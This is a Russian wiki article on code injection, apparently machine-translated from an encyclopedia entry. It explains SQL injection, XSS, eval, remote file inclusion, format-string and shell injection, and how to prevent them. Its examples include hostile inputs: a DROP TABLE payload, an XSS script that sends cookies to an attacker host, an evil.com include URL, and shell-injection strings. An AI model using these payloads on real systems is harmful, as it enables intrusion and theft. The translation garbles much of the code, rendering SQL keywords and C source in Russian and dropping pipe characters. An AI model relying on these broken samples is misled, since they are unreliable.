Инъекция кода

Материал из wikixw
Перейти к навигации Перейти к поиску

Не путать с Инъекция зависимостей.

Инъекция кода-это использование ошибки компьютера, которая вызвана обработкой недопустимых данных. Инъекция используется злоумышленником для введения (или" инъекции") кода в уязвимую компьютерную программу и изменения хода выполнения. Успешная инъекция кода может привести к катастрофическим последствиям, например, к распространению компьютерных червей.

Уязвимости при внедрении кода возникают, когда приложение отправляет ненадежные данные интерпретатору. Ошибки инъекций чаще всего встречаются в SQL, LDAP, XPathили NoSQL запросах; командах ОС; XML -парсерах, SMTP-заголовках , программных Аргументах и т. д. Недостатки инъекций, как правило, легче обнаружить при изучении исходного кода, чем при тестировании.[1] сканеры и детонаторы могут помочь найти дефекты впрыска.[2]

Инъекция может привести к потере или повреждению данных, отсутствию подотчетности или отказу в доступе. Инъекция иногда может привести к полному поглощению хозяина.

Некоторые типы инъекций кода представляют собой ошибки в интерпретации, придающие особый смысл вводимым пользователем данным. Подобные ошибки интерпретации существуют и за пределами мира компьютерных наук, таких как комедийная рутина " кто первый?".. В рутине не удается отличить собственные имена от обычных слов. Точно так же в некоторых типах инъекций кода невозможно отличить вводимые пользователем данные от системных команд.

Методы инъекции кода популярны в системе взлома или взлома для получения информации, повышения привилегий или несанкционированного доступа к системе. Инъекция кода может быть использована злонамеренно для многих целей, в том числе:

  • Произвольное изменение значений в базе данных с помощью инъекции SQL. Последствия этого могут варьироваться от порчи веб-сайта до серьезного компрометации конфиденциальных данных.
  • Установка вредоносных программ или выполнение вредоносного кода на сервере путем внедрения серверного скриптового кода (например, PHP или ASP).
  • Эскалация привилегий до корневых разрешений путем использования уязвимостей инъекции оболочки в корневом двоичном файле setuid в UNIX или локальной системе путем использования службы в Microsoft Windows.
  • Атака на веб-пользователей с помощью инъекции HTML/script (Межсайтовый сценарий).

В 2008 году 5,66% всех уязвимостей, зарегистрированных в этом году, были классифицированы как инъекция кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%

Доброкачественное и непреднамеренное использование[править]

Инъекция кода может быть использована с благими намерениями; например, изменение или настройка поведения программы или системы с помощью инъекции кода может привести к тому, что система будет вести себя определенным образом без какого-либо злого умысла.:

  • Введите полезный новый столбец, который не появился в исходном дизайне страницы результатов поиска.
  • Предложите новый способ фильтрации, упорядочивания или группировки данных с помощью поля, не представленного в функциях по умолчанию исходного дизайна.
  • Что касается таких программ , как Dropbox, добавьте специальные части, которые можно было бы использовать для подключения к онлайн-ресурсам в Автономной программе.
  • Используйте динамический Компоновщик Linux, чтобы определить функцию с тем же именем, что и некоторые функции libc, связать эту функцию как библиотеку и переопределить использование функции libc.

Некоторые пользователи могут ничего не подозревая выполнять инъекцию кода, потому что ввод, который они предоставляют программе, не был учтен теми, кто изначально разрабатывал систему. Например:

  • То, что пользователь может считать допустимым вводом, может содержать маркерные символы или символьные строки, зарезервированные разработчиком для особого значения (возможно, " & " в "Shannon & Jason" или кавычки, как в "Bub 'Slugger' McCracken").
  • Пользователь может представить искаженный файл в качестве входных данных, которые изящно обрабатываются в одном приложении, но токсичны для принимающей системы.

Еще одним полезным использованием инъекции кода может быть обнаружение самих дефектов инъекции с намерением исправить эти недостатки. Это известно как тест на проникновение в белую шляпу.

Предотвращение проблем[править]

Чтобы предотвратить проблемы с вводом кода, используйте безопасную обработку ввода и вывода, такую как:

  • Использование API, которые при правильном использовании защищены от всех входных символов. Параметризованные запросы (также известные как "скомпилированные запросы", "подготовленные операторы", "связанные переменные") позволяют перемещать пользовательские данные из строки для интерпретации. Кроме того, API критериев[7] и аналогичные API отходят от концепции командных строк, которые должны быть созданы и интерпретированы.
  • Принудительное разделение языков с помощью системы статических типов.[8]
  • Проверка входных данных, например белый список только известных хороших значений, это может быть сделано на стороне клиента с помощью JavaScript, например, или это может быть сделано на стороне сервера, который является более безопасным.
  • Входное кодирование, например экранирование опасных символов. Например, в PHP используется htmlspecialchars()функция экранирования специальных символов для безопасного вывода текста в HTML, а mysqli::real_escape_string()также для изоляции данных, которые будут включены в SQL-запрос, для защиты от SQL-инъекции.
  • Выходное кодирование, т. е. предотвращение атак HTML Injection (XSS) против посетителей веб-сайта
  • HttpOnly это флаг для HTTP-файлов cookie, который, будучи установлен, не позволяет клиентскому скрипту взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS.
  • Модульная оболочка отсоединяется от ядра
  • С помощью SQL-инъекции можно использовать параметризованные запросы, хранимые процедуры, проверку ввода белого списка и многое другое, чтобы помочь смягчить проблемы с инъекцией кода.

Перечисленные выше решения имеют дело в основном с веб-инъекцией кода HTML или скрипта в серверное приложение. Однако при работе с внедрением пользовательского кода на пользовательской машине необходимо использовать другие подходы, приводящие к атакам на повышение привилегий. Некоторые подходы, которые используются для обнаружения и изоляции управляемых и неуправляемых инъекций кода являются:

  • Проверка хэша образа среды выполнения-захват хэша части или полного образа исполняемого файла, загруженного в память, и сравнение его с сохраненным и ожидаемым хэшем.
  • NX bit-все пользовательские данные хранятся в специальных разделах памяти, которые помечены как неисполнимые. Процессор осознает, что никакого кода в этой части памяти не существует, и отказывается выполнять все, что там находится.
  • Канарейки-случайным образом размещают значения в стопке. Во время выполнения канарейка проверяется, когда функция возвращается. Если канарейка была изменена, программа прекращает выполнение и завершает работу. Это происходит при атаке переполнения стека.
  • [В C]маскировка указателя кода (CPM) - после загрузки (потенциально измененного) указателя кода в регистр примените к указателю битовую маску. Это эффективно ограничивает адреса, на которые может ссылаться указатель.

Примеры[править]

Инъекция SQL[править]

Основная статья: Инъекция SQL

SQL injection использует синтаксис SQL для введения команд, которые могут считывать или изменять базу данных, либо нарушать значение исходного запроса.

Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей будет генерировать SQL запрос для проверки пароля по списку имен пользователей:

Выберите UserList.Username
из UserList
, где UserList.Username = 'имя пользователя'
и UserList.Password = 'пароль'

Если этот запрос возвращает какие-либо строки, то доступ предоставляется. Однако если злоумышленник вводит допустимое имя пользователя и вводит некоторый допустимый код (password' OR '1'='1) в поле пароля, то результирующий запрос будет выглядеть следующим образом:

Выберите UserList.Username
из UserList
, где UserList.Username = 'имя пользователя'
и UserList.Password = 'пароль' или ' 1 '='1'

В приведенном выше примере "пароль" считается пустой или какой-то безобидной строкой. "'1'='1'" всегда будет истинным, и многие строки будут возвращены, тем самым позволяя доступ.

Этот метод может быть усовершенствован, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.

Предположим, что запрос имеет следующий формат:

Выберите User.UserID
из User
WHERE User.UserID = '"+ UserID + "'
и User.Pwd = '" + Password +"'

Если противник имеет следующие входные данные:

UserID: ';DROP TABLE User; --'
Password: 'OR"='

запрос будет проанализирован, чтобы быть:

Выберите User.UserID
из User
WHERE User.UserID = ";DROP TABLE User; -- 'и Pwd = "или"='

В результате таблица Userбудет удалена из базы данных. Это происходит потому;, что символ обозначает конец одной команды и начало новой. -- означает начало комментария.

Межсайтовые сценарии[править]

Основная статья: Межсайтовый сценарий

Инъекция кода-это вредоносная инъекция или введение кода в приложение. Некоторые веб-серверы имеют скрипт гостевой книги, который принимает небольшие сообщения от пользователей и обычно получает такие сообщения, как:

Очень хороший сайт!

Однако злоумышленник может знать об уязвимости внедрения кода в гостевую книгу и ввести такое сообщение, как:

Хороший сайт, я думаю, что возьму его. <скрипт> >window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie) < /script>

Если другой пользователь просматривает страницу, то введенный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.

Инъекция HTML и скриптов-популярная тема, обычно называемая "межсайтовым скриптингом" или "XSS". XSS относится к дефекту инъекции, при котором пользовательский ввод в веб-скрипт или что-то в этом роде помещается в выходной HTML-код, не проверяясь на наличие HTML-кода или сценариев.

Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с эффектами специальных данных.]

Уязвимости динамической оценки[править]

Уязвимость eval()инъекции возникает, когда злоумышленник может управлять всей или частью входной строки, которая подается в eval() вызов функции.

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Аргумент "eval" будет обработан как PHP, поэтому можно добавить дополнительные команды. Например, если "arg" имеет значение"10; system('/bin/echo uh-oh')", то запускается дополнительный код, который выполняет программу на сервере, в данном случае "/bin/echo".

Инъекция объекта[править]

PHP позволяет сериализовать и десериализовать целые объекты. Если в функцию десериализации разрешен ненадежный ввод, то можно перезаписать существующие классы в программе и выполнить вредоносные атаки. такая атака на Joomla была обнаружена в 2013 году.

Удаленная инъекция файлов[править]

Основная статья: Уязвимость включения файлов

Рассмотрим эту PHP-программу (которая включает в себя файл, указанный по запросу):

<? php
$color = 'blue';
if (isset($_GET['color']))
   $color = $_GET['color'];
require($color . '. php');

Пример может быть прочитан как только цветные файлы, такие как blue.phpи red.phpмогут быть загружены, в то время как злоумышленники могут обеспечитьCOLOR=http://evil.com/exploit, заставляя PHP загружать внешний файл.

Инъекция спецификатора формата[править]

Основная статья: Неконтролируемая строка формата

Ошибки форматирования строк чаще всего возникают, когда программист хочет напечатать строку, содержащую предоставленные пользователем данные. Программист может ошибочно написать printf(buffer)вместо printf("%s", buffer)этого . Первая версия интерпретируется bufferкак строка формата и анализирует любые инструкции по форматированию, которые она может содержать. Вторая версия просто выводит строку на экран, как и предполагал программист. Рассмотрим следующую короткую программу на языке Си, которая имеет массив локальных переменных charpassword, содержащий пароль; программа запрашивает у пользователя целое число и строку, а затем повторяет предоставленную пользователем строку.

 чар user_input[100];
 инт int_in;
 Чара пароль[10] = "Пароль1";
 функции printf("введите целое число\п");
 функции scanf("%д", &int_in);
 функции printf("введите строку\п");
 помощью fgets(user_input, оператор sizeof(user_input), как stdin);
 
 функции printf(user_input); // безопасная версия такое: printf("%ы", user_input); 
 е("\п");
 вернуть 0;

Если пользовательский ввод заполнен списком спецификаторов формата, таких как%s%s%s%s%s%s%s%s, то printf()начнется чтение из стека. В конце концов , один из спецификаторов %sформата получит доступ к адресуpassword, который находится в стеке, и распечатает Password1его на экране.

Инъекция оболочки[править]

Инъекция оболочки (или инъекция команды) названа в честь оболочек Unix, но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку. Вот пример уязвимого сценария tcsh:

#!/bin/tcsh
# check ARG outputs IT matches if arg is one 
if ($1 == 1) echo it matches

Если вышесказанное хранится в исполняемом файле ./check, команда оболочки ./check " 1 ) evil"попытается выполнить введенную команду оболочки evilвместо сравнения аргумента с константой. Здесь атакуемый код - это код, который пытается проверить параметр, тот самый код, который, возможно, пытался проверить параметр, чтобы защититься от атаки.

Любая функция, которая может быть использована для составления и выполнения команды оболочки, является потенциальным средством для запуска атаки инъекции оболочки. Среди них естьsystem(),StartProcess(), и System.Diagnostics.Process.Start().

Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами, потенциально уязвимы для внедрения оболочки. Рассмотрим следующую короткую PHP-программу, которая может работать на веб-сервере для запуска внешней программы, вызванной funnytextдля замены слова, отправленного пользователем, на какое-то другое слово.

<? PHP
passthru("/bin / funnytext" . $_GET['USER_INPUT']);

passthruВ приведенном выше примере создается команда оболочки, которая затем выполняется веб-сервером. Поскольку часть команды, которую он составляет, берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно вводить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим):

Особенность раковины USER_INPUT ценность Результирующая команда оболочки Объяснение
Последовательное выполнение ; malicious_command /bin/funnytext ; malicious_command Выполняетfunnytext, затем выполняет malicious_command.
Трубопроводы malicious_command malicious_command Отправляет вывод funnytextas input to malicious_command.
Замена команд `malicious_command` /bin/funnytext `malicious_command` Отправляет выходные malicious_commandданные as arguments to funnytext.
Замена команд $(malicious_command) /bin/funnytext $(malicious_command) Отправляет выходные malicious_commandданные as arguments to funnytext.
И список && malicious_command /bin/funnytext && malicious_command Выполнение malicious_command iff funnytext возвращает состояние выхода 0 (success).
Или список malicious_command /bin/funnytext malicious_command Выполнение malicious_command iff funnytext возвращает ненулевое состояние выхода (ошибка).
Перенаправление вывода > ~/.bashrc /bin/funnytext > ~/.bashrc Перезаписывает содержимое .bashrcфайла с выводом funnytext.
Перенаправление ввода < ~/.bashrc /bin/funnytext < ~/.bashrc Отправляет содержимое .bashrcфайла в качестве входных данных funnytext.

[[Некоторые языки предлагают функции для правильного экранирования или кавычки строк, которые используются для построения команд оболочки:

  • PHP: escapeshellarg()и escapeshellcmd()
  • Питон: shlex.quote()

Тем не менее, это все еще накладывает бремя на программистов, чтобы знать/изучать эти функции и помнить, чтобы использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций рекомендуется также проверять или дезинфицировать вводимые пользователем данные.

Более безопасной альтернативой является использование API, которые выполняют внешние программы непосредственно, а не через оболочку, таким образом предотвращая возможность инъекции оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и/или являются более громоздкими/многословными по сравнению с кратким синтаксисом оболочки.

См. также[править]

Пруф[править]

.thedailywtf.com/